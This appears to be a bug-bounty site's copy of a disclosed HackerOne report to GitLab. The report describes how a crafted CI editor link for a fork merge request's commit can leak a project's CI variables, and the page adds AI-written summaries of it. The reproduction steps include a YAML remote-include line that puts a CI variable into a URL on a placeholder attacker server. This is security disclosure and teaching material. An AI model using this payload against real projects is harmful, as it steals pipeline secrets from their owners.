Skip to content
Info disclosure Disclosed report Intermediate

Backend: Leaking CI variables by visiting the CI Editor via fork MRs

A project member could be tricked into clicking a link to the CI editor that used a fork merge request's commit SHA, causing the CI configuration to include a remote file whose URL contained a CI variable, leaking that variable to an attacker server. An attacker could steal CI variables by getting a victim to click a crafted link.

GitLab

Originally disclosed on GitLab

  • Fixed in 7 months
  • Disclosed after 7 months

⚠️ Please read the process on how to fix security issues before starting to work on the issue. Vulnerabilities must be fixed in a security mirror.

HackerOne report #1890451 by shells3c on 2023-03-02, assigned to GitLab Team:

Report | How To Reproduce

Report

SSOT

Refer to https://gitlab.com/gitlab-org/gitlab/-/issues/417275

Summary

By clicking on a link, project members can leak CI variables of their project to hackers

Steps to reproduce
  1. [Victim account] Create a project, create a CI variable in General > CI/CD > Variables named xxx_variable
  2. [Attacker account] Fork the project, and edit the CI configuration (.gitlab-ci.yml by default) with the following content (replace <ATTACKER SERVER> with your server):
YAML
include:  
  remote: 'http://<ATTACKER SERVER>/${xxx_variable}.yaml'  
  1. [Attacker account] Create a merge request with the previous change, save the commit SHA
  2. [Victim account] Visit this link (with <sha> replaced) and the variable will be sent to the attacker server: https://gitlab.com/<user>/<project>/-/ci/editor?branch_name=<sha>
Output of checks

This bug happens on GitLab.com

Impact

Steal CI variables by one click

How To Reproduce

Please add reproducibility information to this section:

Proposal

Please read this thread: https://gitlab.com/gitlab-org/gitlab/-/issues/394964#note_1416011415

The original report as published on GitLab. Images and videos are our own copies; raw HTML is shown as text. View it on GitLab.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the CI editor loaded and evaluated the CI configuration from a fork merge request's commit without isolating it from the target project's CI variables, allowing variable expansion in a remote include URL.

Impact

An attacker could steal CI variables by getting a project member to click a link.

What the attacker needed

Victim is a project member; victim clicks a crafted link; attacker has a fork of the project

How it was found

  1. Victim creates a project and a CI variable named xxx_variable.
  2. Attacker forks the project and edits the CI configuration to include a remote file from their server with the variable in the URL.
  3. Attacker creates a merge request with that change and saves the commit SHA.
  4. Victim visits the CI editor link with the commit SHA as branch_name, and the variable is sent to the attacker server.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

CI variables are secret values used in automated build pipelines. A fork is a copy of a project. The attacker made a merge request in their fork that told the pipeline to fetch a file from the attacker's server, and put a secret variable name in the web address. When the victim opened a special editor link, the secret was sent to the attacker.

What is Info disclosure?

Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.

More from GitLab

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Information disclosure

The lesson behind this report.

Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.